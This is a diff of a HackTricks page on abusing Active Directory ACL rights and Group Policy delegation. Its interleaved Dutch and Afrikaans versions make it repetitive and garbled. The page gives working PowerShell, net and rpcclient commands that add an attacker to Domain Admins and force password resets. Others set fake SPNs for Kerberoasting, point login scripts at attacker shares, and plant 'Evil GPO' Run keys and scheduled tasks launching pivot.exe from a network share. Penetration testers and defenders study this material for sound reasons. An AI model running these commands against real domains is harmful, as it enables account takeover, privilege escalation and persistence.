<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere manieren om HackTricks te ondersteunen:
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* Als je je **bedrijf wilt adverteren in HackTricks** of **HackTricks wilt downloaden in PDF**, bekijk dan de [**ABONNEMENTSPAKKETTEN**](https://github.com/sponsors/carlospolop)!
|
||||
* Koop de [**officiële PEASS & HackTricks-merchandise**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Doe mee aan de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
**Hierdie bladsy is hoofsaaklik 'n opsomming van die tegnieke van** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **en** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Vir meer besonderhede, kyk na die oorspronklike artikels.**
|
||||
|
||||
Vind kwetsbaarheden die het belangrijkst zijn, zodat je ze sneller kunt oplossen. Intruder volgt je aanvalsoppervlak, voert proactieve bedreigingsscans uit, vindt problemen in je hele technologiestack, van API's tot web-apps en cloudsystemen. [**Probeer het vandaag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
## **GenericAll Regte op Gebruiker**
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
Hierdie voorreg gee 'n aanvaller volle beheer oor 'n teiken-gebruikersrekening. Sodra `GenericAll`-regte bevestig is met behulp van die `Get-ObjectAcl`-bevel, kan 'n aanvaller:
|
||||
|
||||
***
|
||||
|
||||
**Deze pagina is voornamelijk een samenvatting van de technieken van [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) en [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges). Voor meer details, raadpleeg de originele artikelen.**
|
||||
|
||||
|
||||
## **GenericAll-rechten op gebruiker**
|
||||
Deze rechten geven een aanvaller volledige controle over een doelgebruikersaccount. Zodra `GenericAll`-rechten zijn bevestigd met behulp van het commando `Get-ObjectAcl`, kan een aanvaller het volgende doen:
|
||||
|
||||
- **Het wachtwoord van het doelwit wijzigen**: Met behulp van `net user <gebruikersnaam> <wachtwoord> /domain` kan de aanvaller het wachtwoord van de gebruiker opnieuw instellen.
|
||||
- **Gerichte Kerberoasting**: Ken een SPN toe aan het account van de gebruiker om het kerberoastbaar te maken, gebruik vervolgens Rubeus en targetedKerberoast.py om de ticket-granting ticket (TGT)-hashes te extraheren en te proberen te kraken.
|
||||
* **Verander die Teiken se Wagwoord**: Deur `net user <gebruikersnaam> <wagwoord> /domain` te gebruik, kan die aanvaller die gebruiker se wagwoord herstel.
|
||||
* **Gerigte Kerberoasting**: Ken 'n SPN toe aan die gebruiker se rekening om dit kerberoastbaar te maak, gebruik dan Rubeus en targetedKerberoast.py om die kaartjie-verlening-kaartjie (TGT) hasies te onttrek en te probeer kraak.
|
||||
```powershell
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Gerigte ASREPRoasting**: Deaktiveer vooraf-verifikasie vir die gebruiker, wat hul rekening kwesbaar maak vir ASREPRoasting.
|
||||
* **Gerigte ASREPRoasting**: Deaktiveer voorafgaande verifikasie vir die gebruiker, wat hul rekening vatbaar maak vir ASREPRoasting.
|
||||
```powershell
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll Regte op Groep**
|
||||
Hierdie voorreg stel 'n aanvaller in staat om groepslidmaatskappe te manipuleer as hulle `GenericAll` regte het op 'n groep soos `Domain Admins`. Nadat die onderskeidende naam van die groep geïdentifiseer is met `Get-NetGroup`, kan die aanvaller die volgende doen:
|
||||
|
||||
- **Voeg Hulself by die Domain Admins Groep**: Dit kan gedoen word deur direkte opdragte of deur gebruik te maak van modules soos Active Directory of PowerSploit.
|
||||
Hierdie voorreg stel 'n aanvaller in staat om groepslidmaatskappe te manipuleer as hulle `GenericAll` regte op 'n groep soos `Domain Admins` het. Nadat die onderskeie naam van die groep geïdentifiseer is met `Get-NetGroup`, kan die aanvaller:
|
||||
|
||||
* **Voeg Hulself by die Domain Admins Groep**: Dit kan gedoen word deur direkte opdragte of deur die gebruik van modules soos Active Directory of PowerSploit.
|
||||
```powershell
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
## **GenericAll / GenericWrite / Skryf op Rekenaar/Gebruiker**
|
||||
Om hierdie bevoegdhede op 'n rekenaar- of gebruikersrekening te hê, maak die volgende moontlik:
|
||||
|
||||
- **Kerberos Hulpbron-gebaseerde Beperkte Delegasie**: Maak dit moontlik om 'n rekenaarrekening oor te neem.
|
||||
- **Skadu-kredensiale**: Gebruik hierdie tegniek om 'n rekenaar- of gebruikersrekening na te boots deur die bevoegdhede te misbruik om skadu-kredensiale te skep.
|
||||
Die besit van hierdie voorregte op 'n rekenaarobjek of 'n gebruikersrekening maak die volgende moontlik:
|
||||
|
||||
* **Kerberos-hulpbron-gebaseerde Beperkte Delegering**: Maak dit moontlik om 'n rekenaarobjek oor te neem.
|
||||
* **Skadukredensiale**: Gebruik hierdie tegniek om 'n rekenaar- of gebruikersrekening te simuleer deur die voorregte te benut om skadukredensiale te skep.
|
||||
|
||||
## **WriteProperty op Groep**
|
||||
As 'n gebruiker `WriteProperty`-regte het op alle voorwerpe vir 'n spesifieke groep (bv. `Domain Admins`), kan hulle die volgende doen:
|
||||
|
||||
- **Voeg Hulself by die Domain Admins Groep**: Hierdie metode maak dit moontlik om voorregte binne die domein te verhoog deur die `net user` en `Add-NetGroupUser` opdragte te kombineer.
|
||||
As 'n gebruiker `WriteProperty`-regte het op alle voorwerpe vir 'n spesifieke groep (bv., `Domain Admins`), kan hulle:
|
||||
|
||||
* **Hulself by die Domain Admins-groep Voeg**: Moontlik deur die `net user` en `Add-NetGroupUser` opdragte te kombineer, maak hierdie metode voorreg-escalasie binne die domein moontlik.
|
||||
```powershell
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Lidmaatskap) op Groep**
|
||||
Hierdie voorreg stel aanvallers in staat om hulself by spesifieke groepe, soos `Domain Admins`, te voeg deur middel van opdragte wat groepslidmaatskap direk manipuleer. Deur die volgende opdragvolgorde te gebruik, kan self-toevoeging plaasvind:
|
||||
|
||||
Hierdie voorreg stel aanvallers in staat om hulself by spesifieke groepe, soos `Domain Admins`, te voeg deur bevele te gebruik wat groepslidmaatskap direk manipuleer. Deur die volgende bevelreeks te gebruik, kan self-toevoeging plaasvind:
|
||||
```powershell
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Lidmaatskap)**
|
||||
'n Soortgelyke voorreg, dit stel aanvallers in staat om hulself direk by groepe te voeg deur groepseienskappe te wysig as hulle die `WriteProperty`-reg op daardie groepe het. Die bevestiging en uitvoering van hierdie voorreg word uitgevoer met:
|
||||
## **WriteProperty (Self-lidmaatskap)**
|
||||
|
||||
'n Soortgelyke voorreg wat aanvallers toelaat om hulself direk by groepe te voeg deur groepeienskappe te wysig as hulle die `WriteProperty`-reg op daardie groepe het. Die bevestiging en uitvoering van hierdie voorreg word uitgevoer met:
|
||||
```powershell
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceerVeranderWagwoord**
|
||||
Die behoud van die `ExtendedRight` op 'n gebruiker vir `User-Force-Change-Password` maak dit moontlik om wagwoorde te herstel sonder om die huidige wagwoord te weet. Verifikasie van hierdie reg en die uitbuiting daarvan kan gedoen word deur middel van PowerShell of alternatiewe opdraglyn-hulpmiddels, wat verskeie metodes bied om 'n gebruiker se wagwoord te herstel, insluitend interaktiewe sessies en een-liners vir nie-interaktiewe omgewings. Die opdragte wissel van eenvoudige PowerShell-aanroepings tot die gebruik van `rpcclient` op Linux, wat die veelsydigheid van aanvalsvektore demonstreer.
|
||||
## **ForceChangePassword**
|
||||
|
||||
Die besit van die `ExtendedRight` op 'n gebruiker vir `User-Force-Change-Password` maak dit moontlik om wagwoordherstel te doen sonder om die huidige wagwoord te weet. Verifikasie van hierdie reg en die uitbuiting daarvan kan gedoen word deur PowerShell of alternatiewe opdraglyn-hulpmiddels, wat verskeie metodes bied om 'n gebruiker se wagwoord te herstel, insluitend interaktiewe sessies en een-liners vir nie-interaktiewe omgewings. Die opdragte strek van eenvoudige PowerShell-aanroepings tot die gebruik van `rpcclient` op Linux, wat die veelsydigheid van aanvalsvektore demonstreer.
|
||||
```powershell
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
|
@ -85,19 +83,22 @@ rpcclient -U KnownUsername 10.10.10.192
|
|||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **SkryfEienaar op Groep**
|
||||
As 'n aanvaller vind dat hulle `WriteOwner` regte oor 'n groep het, kan hulle die eienaarskap van die groep na hulself verander. Dit is veral impakvol wanneer die groep in kwessie `Domain Admins` is, aangesien die verandering van eienaarskap breër beheer oor groepseienskappe en lidmaatskap moontlik maak. Die proses behels die identifisering van die korrekte objek deur middel van `Get-ObjectAcl` en dan die gebruik van `Set-DomainObjectOwner` om die eienaar te wysig, óf deur SID óf deur naam.
|
||||
|
||||
Indien 'n aanvaller vind dat hulle `WriteOwner` regte oor 'n groep het, kan hulle die eienaarskap van die groep na hulleself verander. Dit is veral impakvol wanneer die groep in kwestie `Domain Admins` is, aangesien die verandering van eienaarskap breër beheer oor groepseienskappe en lidmaatskap moontlik maak. Die proses behels die identifisering van die korrekte objek via `Get-ObjectAcl` en dan die gebruik van `Set-DomainObjectOwner` om die eienaar te wysig, óf deur SID óf naam.
|
||||
```powershell
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite op Gebruiker**
|
||||
Hierdie toestemming stel 'n aanvaller in staat om gebruikers-eienskappe te wysig. Spesifiek, met `GenericWrite` toegang, kan die aanvaller die aanmeldingskripspad van 'n gebruiker verander om 'n skadelike krips uit te voer wanneer die gebruiker aanmeld. Dit word bereik deur die `Set-ADObject` opdrag te gebruik om die `scriptpath` eienskap van die teiken-gebruiker by te werk om na die aanvaller se krips te verwys.
|
||||
|
||||
Hierdie toestemming stel 'n aanvaller in staat om gebruikersseienskappe te wysig. Spesifiek, met `GenericWrite` toegang, kan die aanvaller die aanmeldingskripspad van 'n gebruiker verander om 'n skadelike krips uit te voer wanneer die gebruiker aanmeld. Dit word bereik deur die `Set-ADObject` bevel te gebruik om die `scriptpath` eienskap van die teiken gebruiker by te werk om na die aanvaller se krips te verwys.
|
||||
```powershell
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite op Groep**
|
||||
Met hierdie voorreg kan aanvallers groepslidmaatskap manipuleer, soos om hulself of ander gebruikers by spesifieke groepe te voeg. Hierdie proses behels die skep van 'n geloofsbrieffunksie, dit gebruik om gebruikers by 'n groep toe te voeg of te verwyder, en die lidmaatskapsveranderinge te verifieer met PowerShell-opdragte.
|
||||
|
||||
Met hierdie voorreg kan aanvallers groepslidmaatskap manipuleer, soos om hulself of ander gebruikers by spesifieke groepe te voeg. Hierdie proses behels die skep van 'n geloofsbrieffobjek, dit gebruik om gebruikers by 'n groep toe te voeg of te verwyder, en die lidmaatskapveranderinge te verifieer met PowerShell-opdragte.
|
||||
```powershell
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
|
@ -106,7 +107,8 @@ Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
|||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
Om 'n AD-voorwerp te besit en `WriteDACL`-bevoegdhede daarop te hê, stel 'n aanvaller in staat om hulself `GenericAll`-bevoegdhede oor die voorwerp toe te ken. Dit word bereik deur ADSI-manipulasie, wat volle beheer oor die voorwerp en die vermoë om sy groepslidmaatskappe te wysig, moontlik maak. Ten spyte hiervan bestaan beperkings wanneer daar gepoog word om hierdie bevoegdhede te misbruik met behulp van die `Set-Acl` / `Get-Acl`-cmdlets van die Active Directory-module.
|
||||
|
||||
Die besit van 'n AD-voorwerp en die hê van `WriteDACL`-bevoegdhede daarop stel 'n aanvaller in staat om hulself `GenericAll`-bevoegdhede oor die voorwerp te gee. Dit word bereik deur ADSI-manipulasie, wat volle beheer oor die voorwerp en die vermoë om sy groepslidmaatskappe te wysig, moontlik te maak. Ten spyte hiervan bestaan beperkings wanneer 'n aanvaller probeer om hierdie bevoegdhede te misbruik deur die gebruik van die Active Directory-module se `Set-Acl` / `Get-Acl`-cmdlets.
|
||||
```powershell
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
|
@ -115,76 +117,61 @@ $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
|||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **Replikasie op die Domein (DCSync)**
|
||||
Die DCSync-aanval maak gebruik van spesifieke replikasie-toestemmings op die domein om 'n Domeinbeheerder na te boots en data te sinchroniseer, insluitend gebruikerslegitimasie. Hierdie kragtige tegniek vereis toestemmings soos `DS-Replication-Get-Changes`, wat aanvallers in staat stel om sensitiewe inligting uit die AD-omgewing te onttrek sonder direkte toegang tot 'n Domeinbeheerder.
|
||||
[**Leer meer oor die DCSync-aanval hier.**](../dcsync.md)
|
||||
|
||||
Die DCSync-aanval maak gebruik van spesifieke replikasie-regte op die domein om 'n Domeinbeheerder na te boots en data te sinchroniseer, insluitend gebruikersgelde. Hierdie kragtige tegniek vereis regte soos `DS-Replication-Get-Changes`, wat aanvallers in staat stel om sensitiewe inligting uit die AD-omgewing te onttrek sonder direkte toegang tot 'n Domeinbeheerder. [**Leer meer oor die DCSync-aanval hier.**](../dcsync.md)
|
||||
|
||||
## GPO Delegering <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO Delegering
|
||||
|
||||
Gedelegeerde toegang om Groepbeleidsvoorwerpe (GPO's) te bestuur kan aansienlike sekuriteitsrisiko's inhou. Byvoorbeeld, as 'n gebruiker soos `offense\spotless` gedelegeerde GPO-bestuursregte het, kan hulle voorregte soos **WriteProperty**, **WriteDacl**, en **WriteOwner** hê. Hierdie regte kan misbruik word vir skadelike doeleindes, soos geïdentifiseer met PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### Enumerateer GPO Regte
|
||||
|
||||
Om verkeerd gekonfigureerde GPO's te identifiseer, kan PowerSploit se cmdlets aanmekaar gekoppel word. Dit maak die ontdekking van GPO's waar 'n spesifieke gebruiker regte het om te bestuur moontlik: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
## GPO-delegasie <a href="#gpo-delegasie" id="gpo-delegasie"></a>
|
||||
**Rekenaars met 'n Spesifieke Beleid Toegepas**: Dit is moontlik om vas te stel op watter rekenaars 'n spesifieke GPO van toepassing is, wat help om die omvang van potensiële impak te verstaan. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
### GPO-delegasie
|
||||
**Beleide Toegepas op 'n Spesifieke Rekenaar**: Om te sien watter beleide op 'n spesifieke rekenaar van toepassing is, kan opdragte soos `Get-DomainGPO` gebruik word.
|
||||
|
||||
Gedelegeerde toegang om Groepbeleidsvoorwerpe (GPO's) te bestuur, kan aansienlike sekuriteitsrisiko's inhou. Byvoorbeeld, as 'n gebruiker soos `offense\spotless` gedelegeerde GPO-bestuursregte het, kan hulle voorregte soos **WriteProperty**, **WriteDacl**, en **WriteOwner** hê. Hierdie toestemmings kan misbruik word vir bose doeleindes, soos geïdentifiseer met behulp van PowerView:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
```
|
||||
|
||||
### Enumereer GPO-toestemmings
|
||||
|
||||
Om verkeerd gekonfigureerde GPO's te identifiseer, kan PowerSploit se cmdlets saamgeketting word. Dit maak die ontdekking van GPO's moontlik waar 'n spesifieke gebruiker toestemmings het om te bestuur:
|
||||
```powershell
|
||||
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
```
|
||||
|
||||
**Rekenaars met 'n Spesifieke Beleid Toegepas**: Dit is moontlik om te bepaal op watter rekenaars 'n spesifieke GPO van toepassing is, wat help om die omvang van potensiële impak te verstaan.
|
||||
```powershell
|
||||
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
|
||||
```
|
||||
|
||||
**Beleide wat op 'n Spesifieke Rekenaar Toegepas is**: Om te sien watter beleide op 'n spesifieke rekenaar van toepassing is, kan opdragte soos `Get-DomainGPO` gebruik word.
|
||||
|
||||
**OU's met 'n Spesifieke Beleid Toegepas**: Die identifisering van organisatoriese eenhede (OU's) wat deur 'n gegewe beleid geraak word, kan gedoen word met behulp van `Get-DomainOU`.
|
||||
**OU's met 'n Spesifieke Beleid Toegepas**: Die identifisering van organisatoriese eenhede (OUs) wat deur 'n gegewe beleid geraak word, kan gedoen word met behulp van `Get-DomainOU`.
|
||||
|
||||
### Misbruik GPO - New-GPOImmediateTask
|
||||
|
||||
Verkeerd gekonfigureerde GPO's kan uitgebuit word om kode uit te voer, byvoorbeeld deur 'n onmiddellike geskeduleerde taak te skep. Dit kan gedoen word om 'n gebruiker by die plaaslike administrateursgroep op geaffekteerde masjiene te voeg, wat aansienlik voorregte verhoog:
|
||||
Verkeerd gekonfigureerde GPO's kan uitgebuit word om kode uit te voer, byvoorbeeld deur 'n onmiddellike geskeduleerde taak te skep. Dit kan gedoen word om 'n gebruiker by die plaaslike administrateursgroep op geaffekteerde rekenaars by te voeg, wat aansienlik voorregte verhoog:
|
||||
```powershell
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy-module - Misbruik GPO
|
||||
### GroupPolicy module - Misbruik GPO
|
||||
|
||||
Die GroupPolicy-module, indien geïnstalleer, maak dit moontlik om nuwe GPO's te skep en te koppel, en voorkeure soos registerwaardes in te stel om agterdeure op geaffekteerde rekenaars uit te voer. Hierdie metode vereis dat die GPO opgedateer word en dat 'n gebruiker op die rekenaar aanmeld vir uitvoering:
|
||||
Die GroupPolicy-module, indien geïnstalleer, maak die skepping en koppeling van nuwe GPO's moontlik, en stel voorkeure soos registerwaardes in om agterdeure op geaffekteerde rekenaars uit te voer. Hierdie metode vereis dat die GPO opgedateer word en 'n gebruiker om in te teken op die rekenaar vir uitvoering:
|
||||
```powershell
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Misbruik GPO
|
||||
|
||||
SharpGPOAbuse bied 'n metode om bestaande GPO's te misbruik deur take by te voeg of instellings te wysig sonder om nuwe GPO's te skep. Hierdie instrument vereis wysiging van bestaande GPO's of die gebruik van RSAT-instrumente om nuwes te skep voordat veranderinge aangebring word:
|
||||
SharpGPOAbuse bied 'n metode om bestaande GPO's te misbruik deur take by te voeg of instellings te wysig sonder om nuwe GPO's te skep. Hierdie instrument vereis die wysiging van bestaande GPO's of die gebruik van RSAT-instrumente om nuwes te skep voordat veranderinge toegepas word:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### Dwangbeleid Opdateer
|
||||
### Dwangbeleid Opdatering
|
||||
|
||||
GPO-opdates vind gewoonlik elke 90 minute plaas. Om hierdie proses te versnel, veral nadat 'n verandering geïmplementeer is, kan die `gpupdate /force`-opdrag gebruik word op die teikerekenaar om 'n onmiddellike beleidsopdatering af te dwing. Hierdie opdrag verseker dat enige wysigings aan GPO's toegepas word sonder om te wag vir die volgende outomatiese opdate-siklus.
|
||||
GPO-opdaterings vind normaalweg elke 90 minute plaas. Om hierdie proses te versnel, veral na die implementering van 'n verandering, kan die `gpupdate /force` bevel gebruik word op die teikenrekenaar om 'n onmiddellike beleidsopdatering af te dwing. Hierdie bevel verseker dat enige wysigings aan GPO's toegepas word sonder om te wag vir die volgende outomatiese opdateringsiklus.
|
||||
|
||||
### Onder die Oppervlak
|
||||
### Onder die Hood
|
||||
|
||||
By inspeksie van die Geskeduleerde Take vir 'n gegewe GPO, soos die `Misconfigured Policy`, kan die toevoeging van take soos `evilTask` bevestig word. Hierdie take word geskep deur middel van skripte of opdraglynhulpmiddels wat daarop gemik is om stelselgedrag te wysig of bevoegdhede te verhoog.
|
||||
Na inspeksie van die Geplande Take vir 'n gegewe GPO, soos die `Misconfigured Policy`, kan die byvoeging van take soos `evilTask` bevestig word. Hierdie take word geskep deur skripte of opdraglynhulpmiddels wat daarop gemik is om stelselgedrag te wysig of bevoorregting te eskaleer.
|
||||
|
||||
Die struktuur van die taak, soos weergegee in die XML-konfigurasie-lêer wat gegenereer word deur `New-GPOImmediateTask`, skets die spesifieke van die geskeduleerde taak - insluitend die opdrag wat uitgevoer moet word en sy trefpunte. Hierdie lêer verteenwoordig hoe geskeduleerde take gedefinieer en bestuur word binne GPO's, en bied 'n metode om willekeurige opdragte of skripte uit te voer as deel van beleidsafdwinging.
|
||||
Die struktuur van die taak, soos getoon in die XML-konfigurasie lêer wat gegenereer word deur `New-GPOImmediateTask`, skets die spesifieke van die geplande taak - insluitend die opdrag wat uitgevoer moet word en sy triggervoorwaardes. Hierdie lêer verteenwoordig hoe geplande take gedefinieer en bestuur word binne GPO's, wat 'n metode bied vir die uitvoering van willekeurige opdragte of skripte as deel van beleidshandhawing.
|
||||
|
||||
### Gebruikers en Groepe
|
||||
|
||||
GPO's maak ook die manipulasie van gebruikers- en groepslidmaatskappe op teikensisteme moontlik. Deur die Gebruikers en Groepe-beleidslêers direk te wysig, kan aanvallers gebruikers by bevoorregte groepe, soos die plaaslike `administrators`-groep, voeg. Dit is moontlik deur die delegasie van GPO-bestuursbevoegdhede, wat die wysiging van beleidslêers toelaat om nuwe gebruikers by te sluit of groepslidmaatskappe te verander.
|
||||
GPO's maak ook die manipulasie van gebruikers- en groepslidmaatskappe op teikenstelsels moontlik. Deur die Gebruikers en Groepe beleidlêers direk te wysig, kan aanvallers gebruikers by bevoorregte groepe, soos die plaaslike `administrators` groep, toevoeg. Dit is moontlik deur die delegasie van GPO-bestuursregte, wat die wysiging van beleidlêers toelaat om nuwe gebruikers by te sluit of groepslidmaatskappe te verander.
|
||||
|
||||
Die XML-konfigurasie-lêer vir Gebruikers en Groepe skets hoe hierdie veranderinge geïmplementeer word. Deur inskrywings by hierdie lêer te voeg, kan spesifieke gebruikers verhoogde bevoegdhede oor die betrokke stelsels verkry. Hierdie metode bied 'n direkte benadering tot bevoorregte eskalasie deur middel van GPO-manipulasie.
|
||||
Die XML-konfigurasie lêer vir Gebruikers en Groepe skets hoe hierdie veranderinge geïmplementeer word. Deur inskrywings by hierdie lêer toe te voeg, kan spesifieke gebruikers verhewe bevoorregtinge oor geaffekteerde stelsels verkry. Hierdie metode bied 'n direkte benadering tot bevoorregtingseksplorasie deur GPO-manipulasie.
|
||||
|
||||
Verder kan aanvullende metodes vir die uitvoering van kode of die handhawing van volharding, soos die benutting van aanmelding/afmelding-skripte, die wysiging van registerleiers vir outomatiese uitvoering, die installeer van sagteware via .msi-lêers, of die wysiging van dienskonfigurasies, ook oorweeg word. Hierdie tegnieke bied verskeie maniere om toegang te behou en te beheer oor teikensisteme deur die misbruik van GPO's.
|
||||
Verder kan aanvullende metodes vir die uitvoering van kode of die handhawing van volharding, soos die benutting van aanmelding/afmelding skripte, die wysiging van register sleutels vir outomatiese uitvoer, die installeer van sagteware via .msi lêers, of die wysiging van dienskonfigurasies, ook oorweeg word. Hierdie tegnieke bied verskeie kanale vir die handhawing van toegang en beheer oor teikenstelsels deur die misbruik van GPO's.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -196,23 +183,16 @@ Verder kan aanvullende metodes vir die uitvoering van kode of die handhawing van
|
|||
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder hou jou aanvalsoppervlak dop, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegniese stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
